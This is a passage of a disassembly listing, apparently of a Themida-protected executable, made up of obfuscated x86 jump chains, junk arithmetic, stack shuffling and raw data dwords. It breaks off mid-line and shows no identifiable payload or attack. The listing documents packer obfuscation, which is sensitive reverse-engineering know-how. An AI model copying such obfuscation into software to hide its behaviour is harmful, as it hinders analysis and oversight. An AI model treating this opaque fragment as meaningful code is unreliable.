7DE9FD31h db 0DAh, 2 dup(0FFh) off_55E2E3 dd offset dword_49005C+7A0Ch ; DATA XREF: Themida_:00550D10o align 4 dd 50240C89h, 0FFB014E9h, 5BF281FFh, 4A7F2D35h, 8156EA81h dd 0D101E486h, 0C8215F5Ah, 83240C8Bh, 43E904C4h, 81000065h dd 4C042444h, 8B1D4363h, 0C481241Ch, 4, 81240429h, 4E7C2404h dd 0E9503D47h, 0FFFFF64Bh, 3E0C66BAh, 0E0D7BB01h, 0D301C379h dd 0AEEB815Ah, 29073151h, 3E4BE9CBh, 0ED810000h, 0B8619C9h dd 3EE8E9h, 24048900h, 8C55ABB8h, 3E0C105h, 0F706E0C1h dd 5E8C1D0h, 0B67EFF2Dh, 7EA12594h, 2E2D363Fh, 2D65D970h dd 0B113951Bh, 158C301h, 0B7EB81F3h, 5E1B1720h, 2B951h dd 0EB810000h, 0EF63CB2h, 0C381CB01h, 0EF63CB2h, 0E9240C8Bh dd 0FFFF7687h, 316F68h, 24248900h, 0CD98E955h, 0DF01FFFFh dd 5FF9295Bh, 0C8BCB89h, 0E6895624h, 0FF3863E9h, 59CF01FFh dd 0FFA3D4E9h, 14895CFFh, 243C8B24h, 5A04C483h, 242C8157h dd 390B145Ch, 4294E9h, 5D7D6800h, 815D7FF4h, 0BA282F5h dd 0F29BE980h, 48BFFFFh, 73E95524h, 89000044h, 4B9240Ch dd 0E9000000h, 0FFFFC352h, 2218EF81h, 0D701711Bh, 2218C781h dd 74E9711Bh, 89000069h, 6866241Ch, 8966518Dh, 0EC81240Ch dd 4, 649DE9h, 2B25E900h, 5457FFFFh, 4550E95Fh, 0C9BD0000h dd 12F1D56h, 242C8BE8h, 50E68956h, 4B8h, 58C60100h, 0FF94B4E9h dd 4C383FFh, 0FF56B4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E465: ; CODE XREF: Themida_:0055FF0Cj push edi push dword ptr [esp+4] mov edi, [esp] push ebx push esp pop ebx add ebx, 4 push esi mov esi, 4 add ebx, esi mov esi, [esp] add esp, 4 jmp loc_554013 ; --------------------------------------------------------------------------- dd 83242C8Bh, 0E98104C4h, 4DE2A44h, 40EDBA52h, 0D10116AEh dd 81F9015Ah, 0AE40EDE9h, 44C18116h, 8B04DE2Ah, 0C481243Ch dd 4, 31240C33h, 0C33240Ch, 89515C24h, 5AA268E1h, 78E90000h dd 8BFFFF4Ah, 0C4832404h, 4707E904h, 0F501FFFFh, 6540E9h db 0 ; --------------------------------------------------------------------------- loc_55E4E1: ; CODE XREF: Themida_:00554E85j add esp, 4 xor edx, eax jmp loc_550F5F ; --------------------------------------------------------------------------- aAShj db '─гиИhj',0 dw 0B800h dd 6520470Eh, 98FE4805h, 6425E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E502: ; CODE XREF: Themida_:0055293Cj pop esp mov [esp], ebx jmp loc_55A43D ; --------------------------------------------------------------------------- db 2Dh dd 5A456BD3h, 0D305F801h, 0FF5A456Bh, 0E95F2434h, 3FA5h dd 0E9243489h, 0FFFF44D1h ; --------------------------------------------------------------------------- loc_55E528: ; CODE XREF: Themida_:00557645j push 424E733Eh pop esi push esi not dword ptr [esp] pop esi push eax push ebx mov ebx, 25F54D66h mov eax, 0E3A6DA26h sub eax, ebx push dword ptr [esp] pop ebx add esp, 4 sub esi, 69D4075Dh sub esi, eax push ebx mov ebx, 6AD5F8Ch add ebx, 6326A7D1h jmp loc_55DE3F ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 0FD5E904h, 315F0000h, 7F27E9D5h, 0C581FFFFh, 4, 4C581h dd 2C870000h, 24248B24h, 52241C8Bh, 0C281E289h, 4, 0FF55CFE9h db 0FFh byte_55E595 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00550E8Co dd 330FE924h, 0C280FFFFh, 6B9E9BAh, 4870000h, 4895C24h dd 5E08924h, 4, 5004C083h, 42474FFh, 50ACE958h, 3489FFFFh dd 604EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E5CA: ; CODE XREF: Themida_:00560BD7j push dword ptr [esp] jmp loc_559325 ; --------------------------------------------------------------------------- dw 815Ah dd 2D0BD9F2h, 0E9425E77h, 0FFFF8F24h ; --------------------------------------------------------------------------- loc_55E5E0: ; CODE XREF: Themida_:00553640j xchg ecx, [esp] mov esp, [esp] add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor bl, al movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dw 0C361h dword_55E600 dd 24048B66h ; DATA XREF: Themida_:00550C7Co ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_55F5B7 ; --------------------------------------------------------------------------- dd 0E90FB450h, 0FFFF51D4h ; --------------------------------------------------------------------------- loc_55E620: ; CODE XREF: Themida_:0055F7ACj mov [esp], esi push 33C0C7Ch mov esi, [esp] add esp, 4 push ebx mov ebx, 75FE0087h shl ebx, 3 jmp loc_557EFF ; --------------------------------------------------------------------------- loc_55E63F: ; CODE XREF: Themida_:0055FB72j mov ecx, esp push 2D85h mov [esp], edi jmp loc_55EF4C ; --------------------------------------------------------------------------- loc_55E64E: ; CODE XREF: Themida_:00564C50j sub esi, 74936469h dec esi add esi, 0E3A7871Bh add ebp, esi mov esi, [esp] push ecx mov ecx, esp add ecx, 4 push edx mov edx, 4 add ecx, 7DAA6826h add ecx, edx jmp loc_55B3AC ; --------------------------------------------------------------------------- dd 4B9h, 59CB0100h, 8704EB83h, 895C241Ch, 0BD68241Ch, 8900007Eh dd 0E682434h, 0E91E3868h, 63C5h, 4C2835Dh, 4EC81h, 14890000h dd 2474FF24h, 0DE67E904h, 0EB81FFFFh, 4, 5C241C87h, 0FFC6ECE9h dd 0BA525AFFh, 4, 685AD101h, 381Ch, 0E9240C89h, 55EDh dd 2B850h, 0C6890000h, 79E98158h, 12CEF13h, 0E95652F1h dd 0FFFFDB5Ch ; --------------------------------------------------------------------------- loc_55E6F4: ; CODE XREF: Themida_:005604B6j mov esp, [esp] push 7F09h mov [esp], eax push esp pop eax sub esp, 4 mov [esp], ebp push 4 pop ebp jmp loc_551F2C ; --------------------------------------------------------------------------- loc_55E712: ; CODE XREF: Themida_:005560DEj push ebx mov ebx, 56674B9Ch push esi jmp loc_557432 ; --------------------------------------------------------------------------- dw 0EB81h dd 2C843109h, 0FEE9FB01h db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E72B: ; CODE XREF: Themida_:005567AAj not dword ptr [esp] pop ebp inc ebp sub ebp, 0D78AB529h sub dword ptr [esp+4], 1F431F80h add [esp+4], ebp add dword ptr [esp+4], 1F431F80h mov ebp, [esp] jmp loc_556401 ; --------------------------------------------------------------------------- dw 0CF81h dd 391529EBh, 6743EF81h, 0F9097092h, 33F1815Fh, 5A85DFDh dd 447F1C2Dh, 2D2DC829h, 59447F1Ch, 0B6E9C101h db 4Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E77B: ; CODE XREF: Themida_:0055ED64j pop eax shl edi, 6 push ebp mov ebp, 0D6C43FC0h xor edi, ebp pop ebp and eax, edi jmp loc_554B39 ; --------------------------------------------------------------------------- db 30h dd 24148BF0h, 5104C483h, 505386B1h, 5AE913B0h, 1FFFF8Fh dd 24348BF5h, 679CE9h db 0 byte_55E7AD db 0ADh, 83h, 7Fh ; DATA XREF: Themida_:00550D40o dd 840F0020h, 5913h, 795868h, 242C8900h, 0FF3DADE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E7C5: ; CODE XREF: Themida_:00554A0Fj push esi push ebp jmp loc_562BC2 ; --------------------------------------------------------------------------- dd 4EC81h, 0C890000h, 6650E924h, 5954FFFFh, 4C181h, 68500000h dd 4, 0E924048Bh, 2F03h, 70DEC781h, 0EEE9482Eh, 83FFFFA8h dd 0EC8104C4h, 4, 0E9243C89h, 0FFFF6504h, 0EB28F5B5h, 0E9240C8Bh dd 0FFFFF192h, 0ABE95A54h, 50000041h, 9022E9B8h, 13B23538h dd 0EA8171E7h, 48183446h, 0C281C229h, 48183446h, 0FFDFD3E9h dd 59CE29FFh, 0FFC0A3E9h, 3C895CFFh, 4BF24h, 0F8290000h dd 484AE9h, 3E0C100h, 1FD5B235h, 533CE918h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E862: ; CODE XREF: Themida_:0055C87Fj push dword ptr [esp] pop ebx jmp loc_55F63A ; --------------------------------------------------------------------------- db 83h dd 0EE0104C4h, 5D2434FFh, 4C481h, 0F7010000h, 8324348Bh dd 148904ECh, 81E28924h, 4C2h, 4C28100h, 87000000h, 248B2414h dd 74FF5724h, 8F5F0424h, 665C2404h, 0E9240C8Bh, 0FFFF8D61h dd 0B551A7B2h, 80D5F6D8h, 0EA2839F5h, 0E9CA2859h, 0FFFF9D7Dh dd 0EF81DF01h, 28A16615h, 83241C8Bh, 0FB0104C4h, 5BD9E95Fh dd 0D0300000h, 0E924148Bh, 1C69h ; --------------------------------------------------------------------------- loc_55E8E0: ; CODE XREF: Themida_:0056343Fj jmp loc_550F5F ; --------------------------------------------------------------------------- loc_55E8E5: ; CODE XREF: Themida_:0055D18Ej add esp, 4 jmp loc_55FEAE ; --------------------------------------------------------------------------- dd 2B63C581h, 0CD017EF1h, 0FFDB4FE9h, 0BB535DFFh, 4EDE7672h dd 4F4CE381h, 0C3816E09h, 0C005D7C0h, 0FF467BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E915: ; CODE XREF: Themida_:00557AF0j add ebp, 4 push ecx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_564DBB ; --------------------------------------------------------------------------- db 5Fh dd 2474FF55h, 48F5D04h, 0EC835C24h, 9B05E904h, 0E952FFFFh dd 0FFFF32C1h, 4FE9E1B7h, 68FFFFD9h, 674Bh, 0FF240489h dd 0E9042474h, 0FFFFDF47h ; --------------------------------------------------------------------------- loc_55E964: ; CODE XREF: Themida_:0055F0E9j add ebp, 4 push ebx mov ebx, 2 add ebp, ebx pop ebx push 0CA7h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] xor bl, al movzx eax, al push dword ptr [edi+eax*4] xor dword ptr [esp], 340A09E9h jmp loc_56113D ; --------------------------------------------------------------------------- aXS db 'X]И©',0Bh,0 dd 1AE95E00h, 57FFFFCBh, 0A4B7E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_551A2C ; --------------------------------------------------------------------------- dw 0CA81h dd 257A7A2Ch, 29F28142h, 1677B7Bh, 0AFE95AD7h, 0FFFFFF46h dd 815F2404h, 0AB371AE7h, 0FCEF8152h, 81522B35h, 1B7D6AE9h dd 81F9012Dh, 1B7D6AC1h, 0EC835F2Dh, 24348904h, 0FF2AF4E9h db 0FFh byte_55EA01 db 66h, 0F7h, 1Ch ; DATA XREF: Themida_:00550DA8o dd 0C9E99C24h, 25FFFF91h, 79B20974h, 7DFFF405h, 7EB9E9C6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EA1A: ; CODE XREF: Themida_:00553685j and eax, edx pop edx or eax, eax jnz loc_5627C1 push 67B4h jmp loc_565471 ; --------------------------------------------------------------------------- loc_55EA2F: ; CODE XREF: Themida_:0055DDF3j add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] sub ebx, 1F5312BCh add ebx, 36927AD2h sub ebx, eax push edx mov edx, 68081EDFh inc edx jmp loc_554902 ; --------------------------------------------------------------------------- word_55EA6E dw 53ADh ; DATA XREF: Themida_:00550D4Co dd 0EC6B3EBBh, 4BDBF743h, 7587EB81h, 0D80155BDh, 397DE95Bh dd 0C8890000h, 0FF77E3E9h, 0FE43B1FFh, 90E980C9h, 0B652C1FEh dd 3527E937h, 5A66FFFFh, 0C0F28166h, 0EC815D05h, 4, 53242C89h dd 441668h, 242C8900h, 66D58966h, 665DEB89h, 4816653h dd 6607C224h, 6651665Dh, 0E907C2B9h, 0FFFFE690h, 667FC380h dd 0E935B551h, 49A5h, 4C481h, 0EBE90000h, 56FFFFFDh, 3246D7BEh dd 5EF10170h, 6B2DF181h, 1D68DC88h, 0E900003Ch, 0FFFFF462h ; --------------------------------------------------------------------------- loc_55EB04: ; CODE XREF: Themida_:0055C612j jmp loc_550F5F ; --------------------------------------------------------------------------- db 9, 0F3h, 5Eh dd 9EC381h, 0A2E932E0h, 54FFFF52h, 40558h, 0C0830000h dd 24048704h, 51D2315Ch, 0C181E189h, 4, 4BB53h, 0D9290000h dd 5B2434FFh, 4C481h, 0C330000h, 240C3124h, 0E9240C33h dd 5320h, 5C241C87h, 0E9E38953h, 0FFFFA245h, 59CB2959h dd 0EDAB850h, 54BD3E8Eh, 0E95212F6h, 6527h, 751C68h, 24248900h dd 2CC1E9h, 24B95100h, 0E9468A15h, 0FFFF8876h, 0B5770568h dd 814A5A0Ch, 475E11F2h, 28D3E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EB9A: ; CODE XREF: Themida_:00558938j mov [esp], eax mov eax, 6AC50F9Ah shr eax, 2 xor eax, 1AB143E2h jmp loc_5569E6 ; --------------------------------------------------------------------------- db 0C1h dd 0C38103EBh, 101E4ED1h, 25068h, 24348900h, 7E7EA3BEh dd 7C51E932h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EBCA: ; CODE XREF: Themida_:00554925j push edi sub esp, 4 push esp pop dword ptr [esp] jmp loc_5602E4 ; --------------------------------------------------------------------------- db 87h dd 685C2414h, 2076h, 0E9240489h, 0FFFF2377h, 0E908E0C0h dd 0FFFF96A6h ; --------------------------------------------------------------------------- loc_55EBF0: ; CODE XREF: Themida_:005549F9j sub esp, 4 mov [esp], edx jmp loc_55BCA2 ; --------------------------------------------------------------------------- dw 8966h dd 99B5240Ch, 0E99EB652h, 711h, 0F40D00BDh, 8BEE091Bh dd 0F2E9242Ch, 68000037h, 3761h, 8B243C89h, 0C483241Ch dd 243C8B04h, 2104C483h, 2434FFD8h db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_561D1D ; --------------------------------------------------------------------------- db 83h dd 0E0C104C4h, 24E42D07h, 5BE933FAh, 66FFFFACh, 43EA8059h dd 0FFAC9BE9h, 5D5B55FFh, 525EF329h, 804A79BAh, 2161E90Fh dd 248B0000h, 6D696824h, 1C890000h, 14316824h, 68E90000h dd 52000036h, 0F00090B6h, 96C7E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EC9A: ; CODE XREF: Themida_:00558823j inc ebx dec ebx add ebx, 3C5F60C5h jmp loc_56342D ; --------------------------------------------------------------------------- db 5Dh dd 2474FF52h, 48F5A04h, 24248B24h, 9C2404FEh, 0FF22A2E9h dd 240C87FFh, 4EC815Ch, 89000000h, 68E9240Ch, 1FFFFB0h dd 5904244Ch, 870BE959h, 0EDC1FFFFh, 0CCF8E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ECE2: ; CODE XREF: Themida_:00553ADEj mov ebx, 1B601311h sub ebx, 1B601310h add ebp, 3C3976E1h sub ebp, 502445DCh sub ebp, ebx push eax mov eax, 502445DCh add ebp, eax jmp loc_55BFC2 ; --------------------------------------------------------------------------- loc_55ED08: ; CODE XREF: Themida_:00561C70j mov esi, esp add esi, 4 add esi, 4 jmp loc_55235F ; --------------------------------------------------------------------------- db 81h dd 0EF0EE3E9h, 86C9816Ch, 81366548h, 6DC892E9h, 86BD55B7h dd 1161B69h, 0E1FEE9EAh, 0C781FFFFh, 4, 4BB53h, 9DE90000h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55ED4B: ; CODE XREF: Themida_:0055DEFCj pop esp sub ebp, 1 jmp loc_557F19 ; --------------------------------------------------------------------------- loc_55ED57: ; CODE XREF: Themida_:005590E4j add eax, 4 xchg eax, [esp] pop esp add edi, 6A322310h jmp loc_55E77B ; --------------------------------------------------------------------------- db 81h, 0C5h, 75h dd 0C12CF843h, 0ED8103EDh, 5E10874h, 575DEE01h, 2BFh, 4B10E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55ED86: ; CODE XREF: Themida_:00556D2Dj pop edi add esi, 1CE309DCh push dword ptr [esp] pop edi add esp, 4 sub esi, 5B4A24DFh jmp loc_56459D ; --------------------------------------------------------------------------- dw 0C89h dd 65BDE924h, 0B868FFFFh, 8900006Bh, 468240Ch, 59000000h dd 0FFF0CDE9h, 0BBEB81FFh, 5170B079h, 47BEE9h db 0 ; --------------------------------------------------------------------------- loc_55EDC9: ; CODE XREF: Themida_:00565992j mov [esp], ecx push 0E04h mov [esp], edi mov edi, 1 push edi pop ecx push dword ptr [esp] pop edi add esp, 4 and eax, ecx jmp loc_5534D1 ; --------------------------------------------------------------------------- loc_55EDE9: ; CODE XREF: Themida_:005564F9j mov esi, 4 push ebx jmp loc_5537E9 ; --------------------------------------------------------------------------- dd 1CE28142h, 81645407h, 715D18CAh, 79F28163h, 31472B72h dd 2901E9D6h, 0B6BAFFFFh, 512A7860h, 451D69B9h, 44C18103h dd 0E91DA2F8h, 0FFFF9DD9h, 0C781DF01h, 766A1213h, 243C875Bh dd 2055Ch, 4870000h, 0DAE95C24h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EE3F: ; CODE XREF: Themida_:005635D5j push eax mov eax, 4 add ebx, eax mov eax, [esp] add esp, 4 jmp loc_55928F ; --------------------------------------------------------------------------- loc_55EE52: ; CODE XREF: Themida_:0056077Bj sub ebx, 1DAD7FF3h jmp loc_563091 ; --------------------------------------------------------------------------- db 81h, 0C7h, 1Eh dd 8B5B3971h, 0C481242Ch, 4, 7405BE56h, 0C3E92748h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EE77: ; CODE XREF: Themida_:005572A0j sub esi, 800C80h mov edx, esi pop esi add [esp+4], edx pop edx jmp loc_55D8EB ; --------------------------------------------------------------------------- dw 73B8h dd 3136E804h, 0DD57E9C2h, 8166FFFFh, 667CBDC2h, 8124348Bh dd 2C4h, 0D0316600h, 0C331665Ah db 0Fh, 0B7h, 0C0h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebp jmp loc_5619BE ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48124h, 52000000h, 64486FBAh, 63C4E9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EEDA: ; CODE XREF: Themida_:00565843j push edi jmp loc_552594 ; --------------------------------------------------------------------------- dd 73FDF181h, 0CA297F7Bh, 0FFA11EE9h, 0F5015DFFh, 0FF76C4E9h dd 171F68FFh, 2C890000h, 0E9E58924h, 0FFFF250Fh ; --------------------------------------------------------------------------- loc_55EF04: ; CODE XREF: Themida_:00550F8Fj mov edx, [esp] add esp, 4 xchg eax, [esp] pop esp jmp loc_5562B9 ; --------------------------------------------------------------------------- db 4Eh dd 7AA2F681h, 0EED172B2h, 0DEF7DEF7h, 4A41E9h, 59CD8900h dd 4BCD8158h, 81532E13h, 0AF33FFF5h, 5DEE8957h, 12FFEA81h dd 0F201192Ch, 12FFC281h, 0E95E192Ch, 4B8Bh ; --------------------------------------------------------------------------- loc_55EF4C: ; CODE XREF: Themida_:0055E649j push 56FFh mov [esp], ebx mov ebx, 4 push ebx add dword ptr [esp], 7093DCCh pop edi push edx mov edx, 6F4B016Ah jmp loc_55B21A ; --------------------------------------------------------------------------- loc_55EF6D: ; CODE XREF: Themida_:0055ADD1j add ecx, ebx pop ebx mov edi, ecx push dword ptr [esp] mov ecx, [esp] push edi mov edi, esp jmp loc_5542C4 ; --------------------------------------------------------------------------- dd 5024248Bh, 0C380F1B0h, 78C38065h, 0FFEFADE9h, 58C189FFh dd 5A0DE9h, 24043300h, 33240431h, 875C2404h, 38E9240Ch dd 5CFFFFC2h, 4441BE56h, 8146438Dh, 0EF5457F6h, 0D6F74676h dd 3BE6E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EFC2: ; CODE XREF: Themida_:00564CA5j mov ebp, ecx pop ecx add eax, ebp jmp loc_561EC7 ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Dh, 3736E9h, 2434FF00h, 49F6E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EFE2: ; CODE XREF: Themida_:00554E00j add esp, 4 sub eax, 19704A73h mov edx, eax pop eax push esi jmp loc_5534EE ; --------------------------------------------------------------------------- db 5 dd 4, 36B95152h, 0F7484947h, 49D9F7D1h, 0FF5AE2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F009: ; CODE XREF: Themida_:0055CB07j shl ebp, 3 shl ebp, 2 push ecx mov ecx, esp add ecx, 4 jmp loc_551EDD ; --------------------------------------------------------------------------- loc_55F01D: ; CODE XREF: Themida_:0055A759j push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] pop eax push 1539h mov [esp], ebp sub esp, 4 mov [esp], ecx push 6D13h mov [esp], ebx mov ebx, 301363C9h shr ebx, 2 inc ebx xchg eax, ebx not eax push ebx sub esp, 4 mov [esp], eax pop ebx pop eax jmp loc_558C04 ; --------------------------------------------------------------------------- dd 5324048Bh, 0E5E9E389h, 0E900003Bh, 0FFFF1EEBh, 0D5D9EB81h dd 1CE9B947h, 66FFFF4Fh, 665F6656h, 0C781665Eh, 166BC5Dh dd 243C8BFBh, 4C481h, 5660000h, 69E90FA0h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F09F: ; CODE XREF: Themida_:005632E2j shl edx, 8 dec edx xor edx, 17A0CEFFh sub ebp, edx pop edx mov eax, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_55D749 ; --------------------------------------------------------------------------- db 68h, 10h, 2Dh dd 34890000h, 2DB3BE24h, 0D7E93F93h, 81FFFF71h, 0B66AC6C1h dd 0E9D9F75Dh, 42ACh ; --------------------------------------------------------------------------- loc_55F0DC: ; CODE XREF: Themida_:00560788j push dword ptr [esp] jmp loc_5612C2 ; --------------------------------------------------------------------------- loc_55F0E4: ; CODE XREF: Themida_:0055CD89j mov [esp], ebp mov ebp, esp jmp loc_55E964 ; --------------------------------------------------------------------------- dw 0BB53h dd 4, 0FFA81FE9h, 81DEF7FFh, 0C2F078EEh, 5EF3316Ah, 36BD5552h dd 51634C14h, 5135FFB9h, 59CA8909h, 95DEA31h, 24148BD3h dd 4C481h, 0E94B0000h, 0FFFF68B3h, 7872E981h, 0F2E92456h db 3Ah, 2 dup(0) byte_55F133 db 0ACh ; DATA XREF: Themida_:00550CF4o dd 7E9D830h, 0F7FFFF78h, 81D587DAh, 2AF8E3C5h, 12C18160h dd 0E96F505Eh, 2722h, 6EE268h, 240C8900h, 10BCE9h, 0C6815F00h dd 0C6E08EAh, 0FFD04CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F169: ; CODE XREF: Themida_:00553A7Ej pop esp jmp loc_559998 ; --------------------------------------------------------------------------- loc_55F16F: ; CODE XREF: Themida_:00562CF0j sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 jmp loc_55AFE1 ; --------------------------------------------------------------------------- loc_55F182: ; CODE XREF: Themida_:00563FB5j add dword ptr [esp+4], 7AFC5220h sub [esp+4], ebp sub dword ptr [esp+4], 7AFC5220h pop ebp pop dword ptr [eax] push 0A8Bh jmp loc_55DF9D ; --------------------------------------------------------------------------- loc_55F1A3: ; CODE XREF: Themida_:00552158j xor edx, [esp] mov esp, [esp] jmp loc_5585CD ; --------------------------------------------------------------------------- dw 0F680h dd 0E9F32854h, 516Ch, 2EE81h, 0E2E90000h, 88000010h, 0EA8859EBh dd 5B66DD88h, 0F6D18851h, 59CA88D1h, 88D38853h, 5BDD88EAh dd 0FFAB4BE9h, 0B35352FFh, 8BDA88D1h, 0C481241Ch, 4, 0FFD9C5E9h dd 5EF189FFh, 0E9243C8Bh, 2B44h, 66E9565Ch, 1FFFF60h, 2C812404h dd 3D0CA424h, 24048112h, 7A4B565Eh, 3E242C81h, 0E9147D11h dd 0FFFFA81Ah ; --------------------------------------------------------------------------- loc_55F224: ; CODE XREF: Themida_:00552866j push ebx mov ebx, esp add ebx, 4 push edx mov edx, 4 add ebx, edx mov edx, [esp] add esp, 4 jmp loc_55357B ; --------------------------------------------------------------------------- db 81h dd 0E74F3AC3h, 81EB0161h, 0E74F3AEBh, 0D8015D61h, 74FF505Bh dd 0A0E90424h, 21FFFF22h, 77E95EF0h, 87000018h, 665C240Ch dd 9C240429h, 0FF1CEAE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F275: ; CODE XREF: Themida_:00557C7Ej mov [esp], ax jmp loc_550F5F ; --------------------------------------------------------------------------- loc_55F27E: ; CODE XREF: Themida_:00565BB5j mov ebp, ecx pop ecx and ebp, 27C15D5Fh dec ebp push ecx mov ecx, 325270FCh and ebp, ecx pop ecx sub ebp, 22001018h jmp loc_552EF5 ; --------------------------------------------------------------------------- dd 0D105EDC1h, 1E9D68E5h, 1C890000h, 0A782BB24h, 0DD313E7Fh dd 5B2434FFh, 4C481h, 72E90000h, 68FFFF38h, 27F6h, 5464E9h dd 0FFC38100h, 81FFFFFFh, 0C47E26CBh, 0E3C14B16h, 44C38105h dd 101502Ah, 2D685BDEh, 89000025h, 0DFE92414h, 8B00002Ah dd 0D0E92404h, 59FFFFBCh, 0EEC1DEF7h, 2EEC106h, 1EE81h dd 0BB530000h, 1A9C5E77h, 0C143DBF7h, 0F38104EBh, 0DEAC47Dh dd 0FFC70DE9h, 86E680FFh, 802DB151h, 0C9FE85E1h, 30DCC180h dd 0F00059CEh, 0A6CDE95Ah db 2 dup(0FFh) word_55F336 dw 8B66h ; DATA XREF: Themida_:00550E30o dd 0A168240Ch, 89000021h, 8B542404h, 0C4832404h, 89565704h dd 4C681E6h, 81000000h, 4EEh, 24348700h, 2434895Ch, 0A04A8BEh dd 5EF78914h, 2EACE955h, 0E0890000h, 8D6BE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F376: ; CODE XREF: Themida_:00561217j push edi jmp loc_561120 ; --------------------------------------------------------------------------- dd 0C8BE828h, 4C48324h, 0B1515253h, 0F51EE942h, 0BE56FFFFh dd 2E1A21h, 1DC1E946h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F39A: ; CODE XREF: Themida_:00564A95j pop edi pop edi and eax, ecx push dword ptr [esp] jmp loc_557FF9 ; --------------------------------------------------------------------------- loc_55F3A6: ; CODE XREF: Themida_:0055DA42j mov esi, ecx pop ecx pop ebp shr esi, 8 push eax push edx mov edx, 77D80009h push edx pop eax pop edx sub eax, 9DD86ACFh sub esi, 2CBB2A9Fh jmp loc_557627 ; --------------------------------------------------------------------------- db 5Ah dd 0FFF902E9h, 375CB9FFh, 48E914D0h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F3D7: ; CODE XREF: Themida_:00553486j sub ebp, edx pop edx add ebp, 6ED712E6h jmp loc_5558F0 ; --------------------------------------------------------------------------- db 33h, 2Ch, 24h dd 0E9242C31h, 0FFFF6F2Eh, 5104C483h, 3A3068h, 24248900h dd 4240483h, 0B2A1E959h, 1C8BFFFFh, 4C48124h, 0E9000000h dd 0FFFF6804h, 80AFC380h, 0EB8008EBh, 0C8B6698h, 2C48124h dd 68000000h, 69E9h, 0BB241C89h, 38h, 5F7DEB81h, 0DFE90216h dd 89FFFFF2h, 4C781E7h, 81000000h, 4C7h, 243C8700h, 4625685Ch dd 3C890000h, 81E78924h, 4C7h, 4EC8100h, 89000000h, 0DE92434h dd 68FFFF3Eh, 638Fh, 57241489h, 0FF89CFE9h, 4C483FFh, 4C781h dd 0BD550000h, 1E1E3D4Dh, 0FFD123E9h, 0E18951FFh, 4C181h dd 0C1810000h, 4, 0FF4249E9h db 0FFh byte_55F4A5 db 57h, 54h, 5Fh ; DATA XREF: Themida_:00550DBCo dd 8904EC83h, 0CB9240Ch, 0C1408D74h, 0BA5204E1h, 642920BDh dd 0C15AD131h, 0E98102E9h, 45B17FDh, 551BC981h, 9A6817BFh dd 89000022h, 84BA2414h, 8122E87Eh, 0B3E63EAh, 4EAC168h dd 72F2F281h, 0C14A635Eh, 0EA8102E2h, 8BCEC67Dh, 42E9D131h dd 81FFFF1Ch, 3279B6EBh, 9C3817Eh, 5009904Bh, 576FBB53h dd 0D88954F8h, 1055Bh, 0BE560000h, 3C0C677Fh, 203BC681h dd 0D6F706A1h, 1BB1E9h, 0C8305800h, 8BC30059h, 0C4832404h dd 0AFEB8004h, 0D5E9EB00h, 58FFFFFEh, 5C24048Fh, 0FF82B2E9h dd 77EF81FFh, 8B3D6202h, 0EC81242Ch, 4, 0E9243C89h, 3702h dd 2068F301h, 89000076h, 0BF572404h, 550B77B8h, 15FF889h dd 62E958C3h, 0FFFFFFD5h, 68582434h, 907h, 54241C89h, 5A0EE9h db 0 byte_55F58D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00550E04o dd 4EC8124h, 0E9000000h, 0FFFF2FC4h, 0E9243433h, 594h dd 0BE56E901h, 757F2789h, 1A8AEE81h, 71E90B8Eh db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F5B7: ; CODE XREF: Themida_:0055E613j xchg ebp, [esp] mov esp, [esp] mov [esp], esi push esp push dword ptr [esp] mov esi, [esp] add esp, 4 push 2A46h mov [esp], esi mov esi, esp add esi, 4 push 36Dh mov [esp], eax jmp loc_561207 ; --------------------------------------------------------------------------- dw 0C281h dd 70757EC5h, 56A0EA81h, 